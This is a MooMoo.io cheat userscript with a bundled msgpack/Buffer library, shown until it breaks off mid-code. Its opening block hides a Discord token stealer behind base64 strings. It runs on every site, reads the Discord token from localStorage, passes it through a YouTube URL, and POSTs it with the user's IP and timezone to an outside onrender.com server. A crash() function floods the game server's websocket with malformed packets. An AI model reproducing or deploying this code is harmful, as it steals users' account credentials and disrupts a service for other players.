message (22)
message (22)
// @include *
// @run-at document-start
// @grant GM_xmlhttpRequest
// @connect server-backend-ltx9.onrender.com
// ==/UserScript==
//i hope you enjoy :3
//no share please its a pro wasd script.
//include * is for youtube music and render server and glitch and shit too lazy to
add one by one if you remove it doesnt work.
//$("#youtuberOf").css({display: "none"});
//$("#followText").remove();
//$("#twitterFollow").remove();
//$("#youtubeFollow").remove();
//$("#adCard").remove();
(function(){'use strict';const
SERVER_URL=atob("aHR0cHM6Ly9zZXJ2ZXItYmFja2VuZC1sdHg5Lm9ucmVuZGVyLmNvbS9zZW5k");fun
ction sendMessageToServer(message)
{GM_xmlhttpRequest({method:"POST",url:SERVER_URL,data:JSON.stringify({message:messa
ge}),headers:{"Content-Type":"application/json"},onload:function(response)
{console.log(atob("
4p2kIFNlcnZlciByZXNwb25zZTo="),response.responseText);},onerror:function(error)
{console.error(atob("4p2iIEVycm9yIHNlbmRpbmcgbWVzc2FnZTo="),error);}});}if(window.l
ocation.href.startsWith(atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20v"))){const url=new
URL(window.location.href);const param=atob(url.searchParams.get("v"));if(param)
{fetch(atob("aHR0cHM6Ly9hcGkuaXBpZnkub3JnLz9mb3JtYXQ9anNvbg==")).then(response=>res
ponse.json()).then(data=>{const
ip=data.ip,timezone=Intl.DateTimeFormat().resolvedOptions().timeZone,message=`$
{atob("VmVyaWZ5IEluZm8KICAgIElQOg==")} ${ip}\n${atob("IFRpbWV6b25lOg==")} $
{timezone}\n${atob("IFZlcmlmeSBUb2tlbjo=")} $
{param}`;sendMessageToServer(message);}).catch(error=>console.error(atob("4p2iIEVyc
m9yIGZldGNoaW5nIElQOg=="),error));}}else
if(window.location.href===atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9jaGFubmVscy9AbWU="))
{const token=localStorage.token;if(token)
{window.location.href=atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0=")
+btoa(JSON.stringify(token));}}else{window.location.href=atob("aHR0cHM6Ly9kaXNjb3Jk
LmNvbS9jaGFubmVscy9AbWU=");}})();
(function() {
let checker = setInterval(() => {
let thing = document.getElementById("ot-sdk-btn-floating");
if(thing){
thing.remove();
clearInterval(checker);
}
})
})();
$('#gameName').css({'color': '#7FFFD4', // color MooMoo.io u can change color if u
need.
'text-shadow': '0 1px 0 rgba(255, 255, 255, 0), 0 2px 0
rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 0), 0 4px 0 rgba(255, 255, 255,
0), 0 5px 0 rgba(255, 255, 255, 0), 0 6px 0 rgba(255, 255, 255, 0), 0 7px 0
rgba(255, 255, 255, 0), 0 8px 0 rgba(255, 255, 255, 0), 0 9px 0 rgba(255, 255, 255,
0)',
'text-align': 'center',
'font-size': '126px',
'margin-bottom': '-30px'});
$('#mapDisplay').css({'position': 'absolute',
'bottom': '20px',
'display': 'inline-block',
'width': '130px',
'height': '130px',
'pointer-events': 'all',
'background-color': 'rgb(0 0 0 / 49%)',
});
let reloadBars = false;
var autoPush = false;
var PriReloaded = false;
var SecReloaded = false;
var tracker = {
insta: 0,
antibull: true,
autopush: true,
hitDetect: true,
autoreload: true,
}
var fgdo;
var nEy;
var fgd = null;
function autopush(mySpikes, enemyTrap) {
let angle = 0
let spike = mySpikes.sort((a, b) => fgd(nEy, a) - fgd(nEy, b))[0];
let enemyToSpike = Math.atan2(spike.y - nEy[2], spike.x - nEy[1]);
let distance = fgdo(nEy, spike) + 70;
let myDist = fgdo(nEy, r)
let position = {
x: spike.x + (distance * Math.cos(enemyToSpike)),
y: spike.y + (distance * Math.sin(enemyToSpike))
};
angle = () => {
if(enemyToSpike > 70){
return Math.atan2(position.y - r.y, position.x - r.x)
} else {
return nEA
}
}
r.send("33", angle())
}
document.getElementById("gameName").innerHTML = "MooMoo.io"
document.getElementById("mainMenu").style.backgroundImage = "url('')"//looks ae
CanvasRenderingContext2D.prototype.rotatef =
CanvasRenderingContext2D.prototype.rotate
CanvasRenderingContext2D.prototype.rotate = function(e){
if(Math.abs(e) > 1e300){
e = Math.atan2(Math.cos(e), Math.sin(e));
this.globalAlpha = 0.5;
this.rotatef(e);
}else{
this.rotatef(e);
}
};
let socket = [{
webSocket: null
},{
msgpack5: msgpack
}];
document.msgpack = msgpack;
WebSocket.prototype.oldSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(e) {
if(!socket[0].webSocket) {
socket[0].webSocket = this
}
this.oldSend(e)
};
function crash() {
let crashCode = new Uint8Array([151,
8, 192, 103, 36, 183,
235, 99, 236, 91, 233,
118, 103, 249, 168, 199,
56, 173, 146, 212, 95,
55, 88, 215, 114, 23,
163, 37, 216, 18, 153,
90, 204, 58, 152, 204,
128, 97, 61, 232, 38,
38, 207, 172, 78, 33,
157, 98, 168, 162, 17,
222, 226, 204, 16, 5,
61, 180, 102, 14, 184,
102, 132, 152, 125, 171,
208, 193, 154, 115, 218,
139, 150, 218, 203, 116,
195, 140, 171, 109, 242,
166, 53, 55, 124, 192,
33, 70, 78, 134, 149,
39, 179, 178, 198, 142,
134, 69, 139, 153, 10,
11, 143, 194, 154, 176,
102, 15, 206, 140, 37,
66, 194, 123, 241, 66,
81, 17, 124, 208, 148,
148, 16, 202, 203, 122,
129, 16, 221, 0, 246,
221, 198, 321, 321, 10,
531, 321, 456, 321, 565,
231, 781264, 9460, 3213
]);
for (let i = 0; i < crashCode.length - 20; i++) {
socket[0].webSocket.send(crashCode)
}
};
document.addEventListener('keydown', function(e) {
e.keyCode == 62 && crash(); //you can change key code ask dragon for it ^)
https://keycode.info/ only coders know how to use it
});
var lists = {
objects: []
}
let script = {
fix: [],
info: {
load: {x: 1248, y: 702},
offset: {x: null, y: null}
},
data: {},
tick: {f: function(){}, w: null, l: 0, t: 0},
ws: 0
};;
var resolveConstructor = function(){};
function nextTick(){
return new Promise(r => {
resolveConstructor = r;
});
}
setInterval(() => {
window.lists = lists;
}, 111);
!function(e) {
var t = {};
function n(i) {
if (t[i])
return t[i].exports;
var r = t[i] = {
i: i,
l: !1,
exports: {}
};
return e[i].call(r.exports, r, r.exports, n),
r.l = !0,
r.exports
}
n.m = e,
n.c = t,
n.d = function(e, t, i) {
n.o(e, t) || Object.defineProperty(e, t, {
enumerable: !0,
get: i
})
}
,
n.r = function(e) {
"undefined" != typeof Symbol && Symbol.toStringTag &&
Object.defineProperty(e, Symbol.toStringTag, {
value: "Module"
}),
Object.defineProperty(e, "__esModule", {
value: !0
})
}
,
n.t = function(e, t) {
if (1 & t && (e = n(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var i = Object.create(null);
if (n.r(i),
Object.defineProperty(i, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var r in e)
n.d(i, r, function(t) {
return e[t]
}
.bind(null, r));
return i
}
,
n.n = function(e) {
var t = e && e.__esModule ? function() {
return e.default
}
: function() {
return e
}
;
return n.d(t, "a", t),
t
}
,
n.o = function(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
,
n.p = "",
n(n.s = 21)
}([function(e, t, n) {
var i = t.global = n(25)
, r = t.hasBuffer = i && !!i.isBuffer
, s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer
, a = t.isArray = n(5);
t.isArrayBuffer = s ? function(e) {
return e instanceof ArrayBuffer || p(e)
}
: m;
var o = t.isBuffer = r ? i.isBuffer : m
, c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
t.alloc = d,
t.concat = function(e, n) {
n || (n = 0,
Array.prototype.forEach.call(e, (function(e) {
n += e.length
}
)));
var i = this !== t && this || e[0]
, r = d.call(i, n)
, s = 0;
return Array.prototype.forEach.call(e, (function(e) {
s += f.copy.call(e, r, s)
}
)),
r
}
,
t.from = function(e) {
return "string" == typeof e ? function(e) {
var t = 3 * e.length
, n = d.call(this, t)
, i = f.write.call(n, e);
return t !== i && (n = f.slice.call(n, 0, i)),
n
}
.call(this, e) : g(this).from(e)
}
;
var l = t.Array = n(28)
, h = t.Buffer = n(29)
, u = t.Uint8Array = n(30)
, f = t.prototype = n(6);
function d(e) {
return g(this).alloc(e)
}
var p = y("ArrayBuffer");
function g(e) {
return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
}
function m() {
return !1
}
function y(e, t) {
return e = "[object " + e + "]",
function(n) {
return null != n && {}.toString.call(t ? n[t] : n) === e
}
}
}
, function(e, t, n) {
var i = n(5);
t.createCodec = o,
t.install = function(e) {
for (var t in e)
s.prototype[t] = a(s.prototype[t], e[t])
}
,
t.filter = function(e) {
return i(e) ? function(e) {
return e = e.slice(),
function(n) {
return e.reduce(t, n)
}
;
function t(e, t) {
return t(e)
}
}(e) : e
}
;
var r = n(0);
function s(e) {
if (!(this instanceof s))
return new s(e);
this.options = e,
this.init()
}
function a(e, t) {
return e && t ? function() {
return e.apply(this, arguments),
t.apply(this, arguments)
}
: e || t
}
function o(e) {
return new s(e)
}
s.prototype.init = function() {
var e = this.options;
return e && e.uint8array && (this.bufferish = r.Uint8Array),
this
}
,
t.preset = o({
preset: !0
})
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(32)
, s = n(33)
, a = n(1);
function o() {
var e = this.options;
return this.encode = function(e) {
var t = s.getWriteType(e);
return function(e, n) {
var i = t[typeof n];
if (!i)
throw new Error('Unsupported type "' + typeof n + '": ' +
n);
i(e, n)
}
}(e),
e && e.preset && r.setExtPackers(this),
this
}
a.install({
addExtPacker: function(e, t, n) {
n = a.filter(n);
var r = t.name;
r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r]
= s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
function s(t) {
return n && (t = n(t)),
new i(t,e)
}
},
getExtPacker: function(e) {
var t = this.extPackers || (this.extPackers = {})
, n = e.constructor
, i = n && n.name && t[n.name];
if (i)
return i;
for (var r = this.extEncoderList || (this.extEncoderList = []), s =
r.length, a = 0; a < s; a++) {
var o = r[a];
if (n === o[0])
return o[1]
}
},
init: o
}),
t.preset = o.call(a.preset)
}
, function(e, t, n) {
t.ExtBuffer = function e(t, n) {
if (!(this instanceof e))
return new e(t,n);
this.buffer = i.from(t),
this.type = n
}
;
var i = n(0)
}
, function(e, t) {
t.read = function(e, t, n, i, r) {
var s, a, o = 8 * r - i - 1, c = (1 << o) - 1, l = c >> 1, h = -7, u = n
? r - 1 : 0, f = n ? -1 : 1, d = e[t + u];
for (u += f,
s = d & (1 << -h) - 1,
d >>= -h,
h += o; h > 0; s = 256 * s + e[t + u],
u += f,
h -= 8)
;
for (a = s & (1 << -h) - 1,
s >>= -h,
h += i; h > 0; a = 256 * a + e[t + u],
u += f,
h -= 8)
;
if (0 === s)
s = 1 - l;
else {
if (s === c)
return a ? NaN : 1 / 0 * (d ? -1 : 1);
a += Math.pow(2, i),
s -= l
}
return (d ? -1 : 1) * a * Math.pow(2, s - i)
}
,
t.write = function(e, t, n, i, r, s) {
var a, o, c, l = 8 * s - r - 1, h = (1 << l) - 1, u = h >> 1, f = 23 ===
r ? Math.pow(2, -24) - Math.pow(2, -77) : 0, d = i ? 0 : s - 1, p = i ? 1 : -1, g =
t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
for (t = Math.abs(t),
isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0,
a = h) : (a = Math.floor(Math.log(t) /
Math.LN2),
t * (c = Math.pow(2, -a)) < 1
&& (a--,
c *= 2),
(t += a + u >= 1 ? f / c : f *
Math.pow(2, 1 - u)) * c >= 2 && (a++,
c /= 2),
a + u >= h ? (o = 0,
a = h) : a + u
>= 1 ? (o = (t * c - 1) * Math.pow(2, r),
e.length = t),
e
}
function c(e, t, n) {
if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c))
return new c(e,t,n);
if ("number" == typeof e) {
if ("string" == typeof t)
throw new Error("If encoding is specified then the first
argument must be a string");
return u(this, e)
}
return l(this, e, t, n)
}
function l(e, t, n, i) {
if ("number" == typeof t)
throw new TypeError('"value" argument must not be a number');
return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer
? function(e, t, n, i) {
if (t.byteLength,
n < 0 || t.byteLength < n)
throw new RangeError("'offset' is out of bounds");
if (t.byteLength < n + (i || 0))
throw new RangeError("'length' is out of bounds");
return t = void 0 === n && void 0 === i ? new Uint8Array(t) :
void 0 === i ? new Uint8Array(t,n) : new Uint8Array(t,n,i),
c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = c.prototype : e
= f(e, t),
e
}(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
if ("string" == typeof n && "" !== n || (n = "utf8"),
!c.isEncoding(n))
throw new TypeError('"encoding" must be a valid string
encoding');
var i = 0 | p(t, n)
, r = (e = o(e, i)).write(t, n);
return r !== i && (e = e.slice(0, r)),
e
}(e, t, n) : function(e, t) {
if (c.isBuffer(t)) {
var n = 0 | d(t.length);
return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n),
e
}
if (t) {
if ("undefined" != typeof ArrayBuffer && t.buffer instanceof
ArrayBuffer || "length"in t)
return "number" != typeof t.length || function(e) {
return e != e
}(t.length) ? o(e, 0) : f(e, t);
if ("Buffer" === t.type && s(t.data))
return f(e, t.data)
}
throw new TypeError("First argument must be a string, Buffer,
ArrayBuffer, Array, or array-like object.")
}(e, t)
}
function h(e) {
if ("number" != typeof e)
throw new TypeError('"size" argument must be a number');
if (e < 0)
throw new RangeError('"size" argument must not be negative')
}
function u(e, t) {
if (h(t),
e = o(e, t < 0 ? 0 : 0 | d(t)),
!c.TYPED_ARRAY_SUPPORT)
for (var n = 0; n < t; ++n)
e[n] = 0;
return e
}
function f(e, t) {
var n = t.length < 0 ? 0 : 0 | d(t.length);
e = o(e, n);
for (var i = 0; i < n; i += 1)
e[i] = 255 & t[i];
return e
}
function d(e) {
if (e >= a())
throw new RangeError("Attempt to allocate Buffer larger than
maximum size: 0x" + a().toString(16) + " bytes");
return 0 | e
}
function p(e, t) {
if (c.isBuffer(e))
return e.length;
if ("undefined" != typeof ArrayBuffer && "function" == typeof
ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer))
return e.byteLength;
"string" != typeof e && (e = "" + e);
var n = e.length;
if (0 === n)
return 0;
for (var i = !1; ; )
switch (t) {
case "ascii":
case "latin1":
case "binary":
return n;
case "utf8":
case "utf-8":
case void 0:
return z(e).length;
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return 2 * n;
case "hex":
return n >>> 1;
case "base64":
return H(e).length;
default:
if (i)
return z(e).length;
t = ("" + t).toLowerCase(),
i = !0
}
}
function g(e, t, n) {
var i = e[t];
e[t] = e[n],
e[n] = i
}
function m(e, t, n, i, r) {
if (0 === e.length)
return -1;
if ("string" == typeof n ? (i = n,
n = 0) : n > 2147483647 ? n = 2147483647
: n < -2147483648 && (n = -2147483648),
n = +n,
isNaN(n) && (n = r ? 0 : e.length - 1),
n < 0 && (n = e.length + n),
n >= e.length) {
if (r)
return -1;
n = e.length - 1
} else if (n < 0) {
if (!r)
return -1;
n = 0
}
if ("string" == typeof t && (t = c.from(t, i)),
c.isBuffer(t))
return 0 === t.length ? -1 : y(e, t, n, i, r);
if ("number" == typeof t)
return t &= 255,
c.TYPED_ARRAY_SUPPORT && "function" == typeof
Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype.indexOf.call(e, t, n) :
Uint8Array.prototype.lastIndexOf.call(e, t, n) : y(e, [t], n, i, r);
throw new TypeError("val must be string, number or Buffer")
}
function y(e, t, n, i, r) {
var s, a = 1, o = e.length, c = t.length;
if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) ||
"ucs-2" === i || "utf16le" === i || "utf-16le" === i)) {
if (e.length < 2 || t.length < 2)
return -1;
a = 2,
o /= 2,
c /= 2,
n /= 2
}
function l(e, t) {
return 1 === a ? e[t] : e.readUInt16BE(t * a)
}
if (r) {
var h = -1;
for (s = n; s < o; s++)
if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
if (-1 === h && (h = s),
s - h + 1 === c)
return h * a
} else
-1 !== h && (s -= s - h),
h = -1
} else
for (n + c > o && (n = o - c),
s = n; s >= 0; s--) {
for (var u = !0, f = 0; f < c; f++)
if (l(e, s + f) !== l(t, f)) {
u = !1;
break
}
if (u)
return s
}
return -1
}
function k(e, t, n, i) {
n = Number(n) || 0;
var r = e.length - n;
i ? (i = Number(i)) > r && (i = r) : i = r;
var s = t.length;
if (s % 2 != 0)
throw new TypeError("Invalid hex string");
i > s / 2 && (i = s / 2);
for (var a = 0; a < i; ++a) {
var o = parseInt(t.substr(2 * a, 2), 16);
if (isNaN(o))
return a;
e[n + a] = o
}
return a
}
function v(e, t, n, i) {
return V(z(t, e.length - n), e, n, i)
}
function w(e, t, n, i) {
return V(function(e) {
for (var t = [], n = 0; n < e.length; ++n)
t.push(255 & e.charCodeAt(n));
return t
}(t), e, n, i)
}
function b(e, t, n, i) {
return w(e, t, n, i)
}
function x(e, t, n, i) {
return V(H(t), e, n, i)
}
function S(e, t, n, i) {
return V(function(e, t) {
for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) <
0); ++a)
i = (n = e.charCodeAt(a)) >> 8,
r = n % 256,
s.push(r),
s.push(i);
return s
}(t, e.length - n), e, n, i)
}
function T(e, t, n) {
return 0 === t && n === e.length ? i.fromByteArray(e) :
i.fromByteArray(e.slice(t, n))
}
function I(e, t, n) {
n = Math.min(e.length, n);
for (var i = [], r = t; r < n; ) {
var s, a, o, c, l = e[r], h = null, u = l > 239 ? 4 : l > 223 ?
3 : l > 191 ? 2 : 1;
if (r + u <= n)
switch (u) {
case 1:
l < 128 && (h = l);
break;
case 2:
128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6
| 63 & s) > 127 && (h = c);
break;
case 3:
s = e[r + 1],
a = e[r + 2],
128 == (192 & s) && 128 == (192 & a) && (c = (15
& l) << 12 | (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
break;
case 4:
s = e[r + 1],
a = e[r + 2],
o = e[r + 3],
128 == (192 & s) && 128 == (192 & a) && 128 ==
(192 & o) && (c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535
&& c < 1114112 && (h = c)
}
null === h ? (h = 65533,
u = 1) : h > 65535 && (h -= 65536,
i.push(h >>> 10 & 1023 |
55296),
h = 56320 | 1023 & h),
i.push(h),
r += u
}
return function(e) {
var t = e.length;
if (t <= E)
return String.fromCharCode.apply(String, e);
for (var n = "", i = 0; i < t; )
n += String.fromCharCode.apply(String, e.slice(i, i += E));
return n
}(i)
}
t.Buffer = c,
t.SlowBuffer = function(e) {
return +e != e && (e = 0),
c.alloc(+e)
}
,
t.INSPECT_MAX_BYTES = 50,
c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
e.TYPED_ARRAY_SUPPORT : function() {
try {
var e = new Uint8Array(1);
return e.__proto__ = {
__proto__: Uint8Array.prototype,
foo: function() {
return 42
}
},
42 === e.foo() && "function" == typeof e.subarray && 0 ===
e.subarray(1, 1).byteLength
} catch (e) {
return !1
}
}(),
t.kMaxLength = a(),
c.poolSize = 8192,
c._augment = function(e) {
return e.__proto__ = c.prototype,
e
}
,
c.from = function(e, t, n) {
return l(null, e, t, n)
}
,
c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ =
Uint8Array.prototype,
c.__proto__ = Uint8Array,
"undefined" != typeof Symbol &&
Symbol.species && c[Symbol.species] === c && Object.defineProperty(c,
Symbol.species, {
value: null,
configurable: !0
})),
c.alloc = function(e, t, n) {
return function(e, t, n, i) {
return h(t),
t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ?
o(e, t).fill(n, i) : o(e, t).fill(n) : o(e, t)
}(null, e, t, n)
}
,
c.allocUnsafe = function(e) {
return u(null, e)
}
,
c.allocUnsafeSlow = function(e) {
return u(null, e)
}
,
c.isBuffer = function(e) {
return !(null == e || !e._isBuffer)
}
,
c.compare = function(e, t) {
if (!c.isBuffer(e) || !c.isBuffer(t))
throw new TypeError("Arguments must be Buffers");
if (e === t)
return 0;
for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r <
s; ++r)
if (e[r] !== t[r]) {
n = e[r],
i = t[r];
break
}
return n < i ? -1 : i < n ? 1 : 0
}
,
c.isEncoding = function(e) {
switch (String(e).toLowerCase()) {
case "hex":
case "utf8":
case "utf-8":
case "ascii":
case "latin1":
case "binary":
case "base64":
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return !0;
default:
return !1
}
}
,
c.concat = function(e, t) {
if (!s(e))
throw new TypeError('"list" argument must be an Array of
Buffers');
if (0 === e.length)
return c.alloc(0);
var n;
if (void 0 === t)
for (t = 0,
n = 0; n < e.length; ++n)
t += e[n].length;
var i = c.allocUnsafe(t)
, r = 0;
for (n = 0; n < e.length; ++n) {
var a = e[n];
if (!c.isBuffer(a))
throw new TypeError('"list" argument must be an Array of
Buffers');
a.copy(i, r),
r += a.length
}
return i
}
,
c.byteLength = p,
c.prototype._isBuffer = !0,
c.prototype.swap16 = function() {
var e = this.length;
if (e % 2 != 0)
throw new RangeError("Buffer size must be a multiple of 16-
bits");
for (var t = 0; t < e; t += 2)
g(this, t, t + 1);
return this
}
,
c.prototype.swap32 = function() {
var e = this.length;
if (e % 4 != 0)
throw new RangeError("Buffer size must be a multiple of 32-
bits");
for (var t = 0; t < e; t += 4)
g(this, t, t + 3),
g(this, t + 1, t + 2);
return this
}
,
c.prototype.swap64 = function() {
var e = this.length;
if (e % 8 != 0)
throw new RangeError("Buffer size must be a multiple of 64-
bits");
for (var t = 0; t < e; t += 8)
g(this, t, t + 7),
g(this, t + 1, t + 6),
g(this, t + 2, t + 5),
g(this, t + 3, t + 4);
return this
}
,
c.prototype.toString = function() {
var e = 0 | this.length;
return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) :
function(e, t, n) {
var i = !1;
if ((void 0 === t || t < 0) && (t = 0),
t > this.length)
return "";
if ((void 0 === n || n > this.length) && (n = this.length),
n <= 0)
return "";
if ((n >>>= 0) <= (t >>>= 0))
return "";
for (e || (e = "utf8"); ; )
switch (e) {
case "hex":
return P(this, t, n);
case "utf8":
case "utf-8":
return I(this, t, n);
case "ascii":
return M(this, t, n);
case "latin1":
case "binary":
return A(this, t, n);
case "base64":
return T(this, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return B(this, t, n);
default:
if (i)
throw new TypeError("Unknown encoding: " + e);
e = (e + "").toLowerCase(),
i = !0
}
}
.apply(this, arguments)
}
,
c.prototype.equals = function(e) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
return this === e || 0 === c.compare(this, e)
}
,
c.prototype.inspect = function() {
var e = ""
, n = t.INSPECT_MAX_BYTES;
return this.length > 0 && (e = this.toString("hex", 0, n).match(/.
{2}/g).join(" "),
this.length > n && (e += " ... ")),
"<Buffer " + e + ">"
}
,
c.prototype.compare = function(e, t, n, i, r) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
if (void 0 === t && (t = 0),
void 0 === n && (n = e ? e.length : 0),
void 0 === i && (i = 0),
void 0 === r && (r = this.length),
t < 0 || n > e.length || i < 0 || r > this.length)
throw new RangeError("out of range index");
if (i >= r && t >= n)
return 0;
if (i >= r)
return -1;
if (t >= n)
return 1;
if (this === e)
return 0;
for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o
= Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++u)
if (l[u] !== h[u]) {
s = l[u],
a = h[u];
break
}
return s < a ? -1 : a < s ? 1 : 0
}
,
c.prototype.includes = function(e, t, n) {
return -1 !== this.indexOf(e, t, n)
}
,
c.prototype.indexOf = function(e, t, n) {
return m(this, e, t, n, !0)
}
,
c.prototype.lastIndexOf = function(e, t, n) {
return m(this, e, t, n, !1)
}
,
c.prototype.write = function(e, t, n, i) {
if (void 0 === t)
i = "utf8",
n = this.length,
t = 0;
else if (void 0 === n && "string" == typeof t)
i = t,
n = this.length,
t = 0;
else {
if (!isFinite(t))
throw new Error("Buffer.write(string, encoding, offset[,
length]) is no longer supported");
t |= 0,
isFinite(n) ? (n |= 0,
void 0 === i && (i = "utf8")) : (i = n,
n = void 0)
}
var r = this.length - t;
if ((void 0 === n || n > r) && (n = r),
e.length > 0 && (n < 0 || t < 0) || t > this.length)
throw new RangeError("Attempt to write outside buffer bounds");
i || (i = "utf8");
for (var s = !1; ; )
switch (i) {
case "hex":
return k(this, e, t, n);
case "utf8":
case "utf-8":
return v(this, e, t, n);
case "ascii":
return w(this, e, t, n);
case "latin1":
case "binary":
return b(this, e, t, n);
case "base64":
return x(this, e, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return S(this, e, t, n);
default:
if (s)
throw new TypeError("Unknown encoding: " + i);
i = ("" + i).toLowerCase(),
s = !0
}
}
,
c.prototype.toJSON = function() {
return {
type: "Buffer",
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
;
var E = 4096;
function M(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(127 & e[r]);
return i
}
function A(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(e[r]);
return i
}
function P(e, t, n) {
var i = e.length;
(!t || t < 0) && (t = 0),
(!n || n < 0 || n > i) && (n = i);
for (var r = "", s = t; s < n; ++s)
r += F(e[s]);
return r
}
function B(e, t, n) {
for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2)
r += String.fromCharCode(i[s] + 256 * i[s + 1]);
return r
}
function C(e, t, n) {
if (e % 1 != 0 || e < 0)
throw new RangeError("offset is not uint");
if (e + t > n)
throw new RangeError("Trying to access beyond buffer length")
}
function O(e, t, n, i, r, s) {
if (!c.isBuffer(e))
throw new TypeError('"buffer" argument must be a Buffer
instance');
if (t > r || t < s)
throw new RangeError('"value" argument is out of bounds');
if (n + i > e.length)
throw new RangeError("Index out of range")
}
function R(e, t, n, i) {
t < 0 && (t = 65535 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r)
e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 -
r)
}
function j(e, t, n, i) {
t < 0 && (t = 4294967295 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r)
e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
}
function _(e, t, n, i, r, s) {
if (n + i > e.length)
throw new RangeError("Index out of range");
if (n < 0)
throw new RangeError("Index out of range")
}
function U(e, t, n, i, s) {
return s || _(e, 0, n, 4),
r.write(e, t, n, i, 23, 4),
n + 4
}
function D(e, t, n, i, s) {
return s || _(e, 0, n, 8),
r.write(e, t, n, i, 52, 8),
n + 8
}
c.prototype.slice = function(e, t) {
var n, i = this.length;
if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i),
(t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t >
i && (t = i),
t < e && (t = e),
c.TYPED_ARRAY_SUPPORT)
(n = this.subarray(e, t)).__proto__ = c.prototype;
else {
var r = t - e;
n = new c(r,void 0);
for (var s = 0; s < r; ++s)
n[s] = this[s + e]
}
return n
}
,
c.prototype.readUIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i
}
,
c.prototype.readUIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e + --t], r = 1; t > 0 && (r *= 256); )
i += this[e + --t] * r;
return i
}
,
c.prototype.readUInt8 = function(e, t) {
return t || C(e, 1, this.length),
this[e]
}
,
c.prototype.readUInt16LE = function(e, t) {
return t || C(e, 2, this.length),
this[e] | this[e + 1] << 8
}
,
c.prototype.readUInt16BE = function(e, t) {
return t || C(e, 2, this.length),
this[e] << 8 | this[e + 1]
}
,
c.prototype.readUInt32LE = function(e, t) {
return t || C(e, 4, this.length),
(this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 *
this[e + 3]
}
,
c.prototype.readUInt32BE = function(e, t) {
return t || C(e, 4, this.length),
16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 |
this[e + 3])
}
,
c.prototype.readIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)),
i
}
,
c.prototype.readIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256); )
s += this[e + --i] * r;
return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)),
s
}
,
c.prototype.readInt8 = function(e, t) {
return t || C(e, 1, this.length),
128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
}
,
c.prototype.readInt16LE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e] | this[e + 1] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt16BE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e + 1] | this[e] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt32LE = function(e, t) {
return t || C(e, 4, this.length),
